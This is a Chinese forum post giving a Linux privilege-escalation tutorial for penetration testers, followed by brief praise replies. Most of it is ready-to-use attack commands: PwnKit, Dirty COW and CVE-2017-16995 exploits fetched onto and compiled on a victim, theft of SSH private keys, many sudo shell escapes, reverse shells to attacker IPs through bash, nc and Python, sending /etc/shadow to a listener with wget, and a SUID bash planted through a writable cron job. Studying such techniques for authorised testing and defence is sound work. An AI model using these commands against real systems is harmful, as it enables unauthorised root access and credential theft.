Linux提权手法

spider   ·   发表于 2022-04-29 15:44:53   ·   技术文章

思考一个问题:我们为什么需要提权?

其实我们如果知道,这台机器提权对我们下一步的渗透工作存在意义的情况下,才会去进行提权的。并非拿到入口机器一股劲儿的冲提权。
如果是一台员工的电脑,提权到system一点用没有,首先要明白 每次打内网的目标是什么,是域控!说了那么多其实想说的是,要明白如果我对这台机器提权了,对我有什么帮助?

信息收集:

查看发行版本

  1. cat /etc/issue
  2. cat /etc/*-release

查看内核版本,

  1. uname -a

内核提权

CVE-2021-4034

pkexec 本地提权

Github地址:https://github.com/berdav/CVE-2021-4034

通杀乌班图和centos

image-20220126165810689

脏牛提权-CVE-2016-5195

Linux内核的内存子系统在处理 写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!

脏牛系统提权范围:linux内核=>2.6.22

介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。

Github:https://github.com/FireFart/dirtycow

查看内核信息

img

上传exp进行编译,再运行即可获得root权限!

image-20220425133432177

CVE-2017-16995 ubuntu内核漏洞

  1. 流程:
  2. Linux本地内核提权 CVE-2017-16995
  3. 从网上下载exp,或者kali导出exp上传到提权主机上。
  4. gcc 45010.c -o 45010 编译
  5. chmod +x 45010 增加权限
  6. ./45010 执行脚本
  7. id

1、确认内核版本

image-20220425132618584

2、上传Exploit到Ubuntu中

image-20220425132657167

3、编译exp

image-20220425132712692

4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。

image-20220425132732627

kali辅助提权工具

image-20220424152109449

找exp的路径

image-20220424161008189 把它复制到当前目录下

image-20220424161029336

确认目标有gcc,那么可以直接上传exp,在目标机器进行编译

image-20220424161059423

也可以选择开一个http服务

  1. 攻击机:sudo python -m SimpleHTTPServer 80
  2. 受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c
  3. 受害机:对齐编译:gcc 37292.c -o exp
  4. 加权限,运行!

ssh密钥提权

描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。

拿到shell后,使用如下命令检查哪些用户是bash的: cat /etc/passwd | grep bash
可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件

image-20220429152837702

复制 id_rsa的内容到kali上面,设置权限: chmod 600 id_rsa
然后尝试登录目标: ssh -i id_rsa web1@ip

image-20220429153009310

LINENUM.SH(本地LINUX枚举和提权辅助脚本)

项目地址:https://github.com/rebootuser/LinEnum

脚本简介

LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 .conf 和 .log 文件,这些功能对于渗透测试人员来说,是非常有用的。

一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!

  1. chmod +x /tmp/LinEnum.sh
  2. sh /tmp/LinEnum.sh > /tmp/getinfo.txt

linux-exploit-suggester2.sh

项目地址:https://github.com/jondonas/linux-exploit-suggester-2

image-20220429153423320
运行之后可以看到很多系统中存在可利用的提权漏洞

第三方服务提权

以下这些提权方式都是第权限用户拥有sudo权限的时候进行提权的!

并且还要知道当前用户的密码

可以利用sudo提权的命令如下

  1. wgetfindcataptzipxxdtimetasksetgitsedpipedtmuxscpperlbashlessawkmanvienvftp

git提权

  1. Sudo git -p help
  2. !/bin/bash

输入sudo密码(当前用户的密码)

image-20220425141808220

在光标处进行输入!/bin/bash。回车

image-20220425141930372

提权成功!

image-20220425142140401

find 提权

普通用户find命令提权

先查看find命令有没有提权的可能

必要条件:find必须有s执行权限,有s表示可以提权

image-20220425144102137

尝试执行whoami

image-20220425144241210

尝试调出一个交互式的bin/sh并且是root权限

image-20220425144748729

此shell 为不完整的shell, 升级交互式。

  1. #在反弹shell上执行
  2. [root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
  3. [root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
  4. [kali机器 ~]# stty raw -echo
  5. # 输入这个命令 在输入命令终端不再显示
  6. [kali机器 ~]#fg
  7. # 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
  8. [root@localhost ~]# reset

用find进行反弹shell

  1. find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;

利用find+nc反弹shell

  1. find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;

find+python进行反弹shell

  1. find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;

PIP提权

  1. TF=$(mktemp -d)
  2. echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
  3. sudo pip install $TF

image-20220425152851914

ed提权

image-20220425152645338

wget提权

  1. ##kali上监听
  2. nc -lvp 4444 > hash.txt
  3. ##靶机上
  4. /usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444

攻击机:

image-20220425153727542

受害机:

image-20220425153716615

通过nc收到了http的文件内容保存到了test.txt中,可查看结果

image-20220425153911545

apt提权

  1. TF=$(mktemp)
  2. echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
  3. sudo apt-get install -c $TF sl

image-20220425154211358

image-20220425154225894

ZIP提权

  1. sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

image-20220425154422247

taskset提权

  1. sudo taskset 1 /bin/sh -p

image-20220425154551770

sed提权

  1. sudo sed -n '1e exec sh 1>&0' /etc/passwd

image-20220425154713050

tmux提权

  1. 输入:sudo tmux

image-20220425154920200

scp提权

  1. TF=$(mktemp)
  2. echo 'sh 0<&2 1>&2' > $TF
  3. chmod +x "$TF"
  4. sudo scp -S $TF x y:

image-20220425155048269

perl提权

sudo perl -e ‘exec “/bin/bash”;’

image-20220425155147487

bash提权

image-20220425155250217

less提权

  1. sudo less /etc/hosts
  2. !bash

awk提权

  1. sudo awk 'BEGIN {system("/bin/bash")}'

man提权

  1. sudo man man
  2. !bash

vi提权

  1. sudo vi
  2. :!bash

env提权

  1. sudo env /bin/bash

ftp提权

  1. sudo ftp
  2. ! /bin/bash

计划任务提权

对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!

列出系统中的一些计划任务:

  1. ls -l /etc/cron*
  2. cat /etc/crontab

image-20220426232943453

如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。

比如把shell复制到tmp目录下其次给权限

  1. cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。

注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!

还有其他的提权手法没有提及到的,欢迎小伙伴们来和我一起讨论~

用户名金币积分时间理由
Track-劲夫 100.00 0 2022-04-29 21:09:36 一个受益终生的帖子~~

打赏我,让我更有动力~

3 条回复   |  直到 2022-5-9 | 1814 次浏览

spider
发表于 2022-4-29

此文为社区所发,不允许转载。

评论列表

  • 加载数据中...

编写评论内容

ZKAQ-枫
发表于 2022-4-30

强啊兄弟

评论列表

  • 加载数据中...

编写评论内容

白且
发表于 2022-5-9

牛啊

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.